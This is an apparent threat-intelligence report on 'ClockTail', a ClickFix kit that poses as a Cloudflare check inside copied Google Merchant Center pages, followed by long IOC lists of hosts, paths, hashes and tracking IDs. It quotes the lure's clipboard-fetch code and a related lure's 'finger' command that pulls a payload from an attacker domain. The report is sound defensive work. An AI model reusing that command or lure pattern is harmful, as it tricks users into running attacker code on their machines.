ClockTail: a ClickFix kit that never filled in its command

Key takeaways

• From 28 July to 3 November 2026, a fake Cloudflare check we call ClockTail ran on 245 hosts. On 243 of them, its command was never filled in, so the lure does not work.
• When a visitor clicks, the page asks its own server for the command. The server sends back the whole page, so the visitor's clipboard gets 317 KB of Google's HTML instead.
• The kit sits inside a saved copy of Google's Merchant Center page. Every copy still shows the Gmail account of the person who saved it. Searching for that address took us from 80 hosts to 245.
• One build, on oneai[.]icu in October 2026, did have its command filled in. On 3 November, 103 of the 245 hosts still served the broken page.

ClockTail is a ClickFix kit. It shows a fake Cloudflare check and copies a command to the clipboard. Then it tells the visitor to paste it into the Windows Run box.

On 243 of the 245 hosts we found, whoever set it up never told it which command to copy. So the lure copies Google's web page instead.

This write-up draws on our captures of these hosts from 6 September to 23 October 2026. One capture clicked through the lure on 3 October.

On 3 November we checked all 245 hosts again and searched scan archives, web indexes, DNS history and domain records.

Background

The page is a saved copy of Google's "Promote Your Business with Merchant Center" page. It was saved while signed in to Google, so the header of every copy shows the account jovevkystaxsilverv@gmail.com. The fake Cloudflare check is added at the end and stays hidden until the visitor clicks.

Others have reported parts of this. On ThreatFox, varysz reported oneai[.]icu on 20 August 2026 and 59 of the Merchant Center hosts on 3 October. CarsonWilliams reported three more on 4 October.

Infrastructure

Our scans found 80 hosts. Searching for the Gmail address, the page and its servers found 165 more.

Most of the 176 domain names are about cooking and grilling, such as perfectgrillguide[.]com. A few are betting, AI and crypto names.

132 of the domains were registered through Hostinger between March and October 2026, 93 of them in September and October. They came in batches of up to nine a day (Figure 1).

The other 69 hosts are bare IP addresses that serve the page with no domain name. Most sit in three ranges: 38.146.28.0/24, 38.146.25.0/24 and 38.110.228.0/24.

One of these servers also ran a second ClickFix lure. grillcrafts[.]com served ClockTail and was also the server behind FortCheck, a fake Fortnite account checker.

Christopher Willett of Anvil Development wrote it up on 21 October 2026. FortCheck told its visitors to run finger ZzyhacfeHx@grillcrafts[.]com.

Technical analysis

The servers we captured answer any path they do not have with the page itself. That breaks the kit in two places: the logo and the command.

Stage 1: Any click opens the fake Cloudflare check

Any click on a link or button opens the fake check, and it has no close button. The logo's address also returns the Google page, so the logo breaks. The box shows the word "CLOUDFLARE" in orange text instead (Figure 2).

Ticking the box opens three steps (Figure 3): press Windows + R, press CTRL + V, then press Enter.

Stage 2: The command request returns the page itself

The same click asks the server for the command and copies the answer to the clipboard:

// Copy command to clipboard automatically - load from file
var fileUrl = '{{WINR}}' + Date.now();

fetch(fileUrl)

{{WINR}} is a placeholder. The kit's builder is meant to replace it with the address of the command file.

Here it was left in. So the browser asks the same site for a page named {{WINR}} plus the time, such as /%7B%7BWINR%7D%7D1791011808213.

The server answers with the Google page and a success code. The script treats that as the command and copies all 317,256 bytes of HTML to the clipboard. A visitor who follows the steps pastes Google's HTML into the Run box instead of a command.

Our capture of kitchensecretbook[.]com recorded this at 07:16:48 UTC on 3 October 2026. On 3 November the same request to kitchenflames[.]com still returned the page.

Stage 3: The failure page reports to Meta

Pressing Verify leads to verification-failed.html, which reports the visit to three Meta pixels. The Google copy itself has none, so the operator's tracking is only on this page.

Stage 4: One build names its command file

On 11 October 2026 our scans found the same lure on oneai[.]icu, a page for "OneAI - All Local AI Tools for Your PC". This build has the command address filled in, /cmd_8f92b_secret.txt, and its code comments are in Russian. By 3 November the host served only a FASTPANEL default page.

Impact

Exposure: 245 hosts served ClockTail between 28 July and 3 November 2026, and 103 still did on 3 November. On the 243 Google copies, the lure copies HTML instead of a command.

Confirmed impact: unknown. We have no copy of the oneai[.]icu command file and no record of anyone running it.

Indicators of compromise (IOCs)

Network indicators

Indicator	What it is
/{{WINR}} followed by a 13-digit timestamp (/%7B%7BWINR%7D%7D... on the wire)	Command request from the unfilled build
/cmd_8f92b_secret.txt?t= followed by a timestamp	Command request from the oneai[.]icu build
images/CF-Logo.png and verification-failed.html	Paths the lure loads
finger ZzyhacfeHx@grillcrafts[.]com	FortCheck's ClickFix command, answered by a ClockTail host on port 79

The 245 hosts:

104.145.210[.]33              104.145.210[.]53              147.45.60[.]147
147.45.60[.]185               147.45.60[.]198               147.45.60[.]239
154.29.74[.]130               154.29.74[.]172               154.29.74[.]179
154.29.74[.]181               154.29.74[.]185               154.29.74[.]186
154.29.74[.]201               154.29.74[.]22                154.29.74[.]225
167.148.88[.]191              167.148.88[.]197              167.148.88[.]198
178.130.47[.]169              193.202.11[.]114              193.202.11[.]129
193.202.11[.]215              206.206.127[.]240             213.145.86[.]145
216.74.123[.]152              216.74.123[.]84               38-110-228-228.cprapid[.]com
38.110.228[.]114              38.110.228[.]118              38.110.228[.]195
38.110.228[.]196              38.110.228[.]228              38.110.228[.]49
38.110.228[.]53               38.110.228[.]54               38.110.228[.]58
38.110.228[.]87               38.110.228[.]92               38.146.25[.]110
38.146.25[.]115               38.146.25[.]122               38.146.25[.]149
38.146.25[.]150               38.146.25[.]155               38.146.25[.]162
38.146.25[.]194               38.146.25[.]246               38.146.25[.]43
38.146.25[.]50                38.146.25[.]77                38.146.25[.]83
38.146.28[.]114               38.146.28[.]12                38.146.28[.]130
38.146.28[.]139               38.146.28[.]149               38.146.28[.]172
38.146.28[.]188               38.146.28[.]200               38.146.28[.]21
38.146.28[.]211               38.146.28[.]213               38.146.28[.]219
38.146.28[.]226               38.146.28[.]240               38.146.28[.]253
38.146.28[.]254               38.146.28[.]38                92.118.112[.]112
92.118.112[.]166              ampantarhoki1[.]xyz           angkasabetb[.]online
api.peninsulaandumber[.]com   avrixdish[.]com               bbtotoalter[.]xyz
beefmastery[.]com             benuatotob[.]store            bestkitchencook[.]com
bistrogrillrecipes[.]com      bit-fox[.]net                 biteflo[.]com
brevolante[.]com              brightnelivving[.]com         catrunlu[.]com
chat.bullirik[.]com           chefskitchenbox[.]com         chefspocket[.]com
chefstablebooks[.]com         chefstablehub[.]com           colinastone[.]com
cookdailyfresh[.]com          cookeryquest[.]com            cookmasterclass[.]com
coremarkelevaton[.]com        cryprocrax[.]com              culinaryshot[.]com
dailychefhub[.]com            dailychefrecipe[.]com         dailycookhome[.]com
dailydinnerflow[.]com         dailygrillrecipes[.]com       dailykitchenmenu[.]com
damionta[.]com                deborahpkolodji[.]com         delishcuts[.]com
dev.betyouwatch[.]com         dilliflow[.]com               doctap[.]xyz
doculynx[.]xyz                dunkitchens[.]com             easybitesbook[.]com
easygrillkit[.]com            easyplatehub[.]com            easysear[.]com
fichenkitchen[.]com           firecooks[.]com               flavourguide[.]com
fnobet[.]org                  geifte[.]com                  geraldine-crai[.]com
getaivira[.]com               getaivira[.]top               giptip[.]xyz
gogets[.]dev                  grelhub[.]com                 grillchefsecrets[.]com
grillcraftrecipes[.]com       grillcrafts[.]com             grillcraftsteaks[.]com
grillgastronomy[.]com         grillgist[.]com               grillhabit[.]com
grillinspired[.]com           grillmasterhome[.]com         grillmasterhub[.]com
grillmastersrecipes[.]com     grillmastersvault[.]com       grillrapid[.]com
grillrecipepros[.]com         grillrecipesdaily[.]com       grillrecipespro[.]com
grillsteakmaster[.]com        grillsteakmasters[.]com       grillsteakpro[.]com
grillwisekitchen[.]com        grodaba[.]com                 homechefsecrets[.]com
homedailykitchen[.]com        homehearthcooks[.]com         homemadegrillhub[.]com
homemademaster[.]com          homerecipeshub[.]com          homerecipespace[.]com
homesreceplestud[.]com        hotgrillhub[.]com             hubbpdf[.]us
itemrange[.]com               kedipemas[.]com               kitcheneatfood[.]com
kitchenflames[.]com           kitchensecretbook[.]com       kitchguide[.]com
kopilisticflow[.]com          lifemates[.]us                lumasin.lumasin[.]com
mail.myencryptionmail[.]top   mail.note-space[.]site        mail.you-gui[.]com
main.betyouwatch[.]com        masterchefnotes[.]com         mastercookery[.]com
mastergrillhub[.]com          mastergrillrecipes[.]com      mastermenchefs[.]com
mastermyrecipe[.]com          mozettikitchen[.]com          mykitchenheart[.]com
myshoeify[.]com               officeprod[.]com              oneai[.]icu
oolskip[.]xyz                 perfectgrillguide[.]com       perfectgrillmeals[.]com
perfectgrillsecrets[.]com     perfectkitchenrecipes[.]com   perfectpitmaster[.]com
pidanas[.]com                 pitmasterrecipes[.]com        pitmastersflavor[.]com
pitmasterskitchen[.]com       pizza-greenlantern[.]com      primegrillhub[.]com
primegrillmaster[.]com        progrillguide[.]com           progrillingsecrets[.]com
progrillmenu[.]com            prokitchennotes[.]com         purehomeflavors[.]com
quickhomeeats[.]com           quickkitchendishes[.]com      recipebistro[.]com
savoryhomegrill[.]com         savoryrecipebook[.]com        scrumptiousscoops[.]com
searandgrill[.]com            searedrecipes[.]com           searedsecrets[.]com
searflow[.]com                searingrecipes[.]com          seartip[.]com
seartokitchen[.]com           simpledailycook[.]com         simplegastronomy[.]com
simplyrecipehub[.]com         smartkitcheneats[.]com        smokeyrecipes[.]com
sourgrill[.]com               southofkorealottery[.]com     spacesavers[.]org
spiorist[.]com                stafkinkitchen[.]com          steaklo[.]com
steaksoiree[.]com             tastemakerskitchen[.]com      tastycookbooks[.]com
tastydishrecipes[.]com        tastyvolumes[.]com            thegrillbible[.]com
thegrillinglab[.]com          thegrillkitchen[.]com         thepantryguide[.]com
thesimpleoven[.]com           tipdocview[.]xyz              tittiefuck[.]com
torpedototo1[.]store          torpedototob[.]xyz            tradehero-ai[.]com
tradeheroai[.]top             truesteakco[.]com             ultimategrillhub[.]com
vgatogel[.]org                vgatoto[.]org                 wwtoto2-pro[.]com
yummyhomebase[.]com           yumrecipebox[.]com

File hashes (SHA-256)

SHA-256	File
15b8e53b2da521cb17e5957b427b2d9dd8bf5421f06fc6d880d5eee2468b047b	Merchant Center copy with the unfilled lure, 317,256 bytes, as served without Cloudflare in front
7fde590daf2944f8bea3157f3f27c6ec8ce1920b68f18d0dd20bf3357b8b508d	verification-failed.html with the Meta pixels, 9,495 bytes
d2a5ddfbc61dd5a98951b6e57ac5a98ad2931603b28d633459e1a8120107e2b1	oneai[.]icu page with the filled lure, 79,630 bytes

Account and tracking identifiers

Identifier	Where it appears
jovevkystaxsilverv@gmail.com	Google account shown in the saved page's header
2188458958245518, 1475663847693734, 968785412262873	Meta pixels on verification-failed.html
427778632808890, 297115529094745	Meta pixels on oneai[.]icu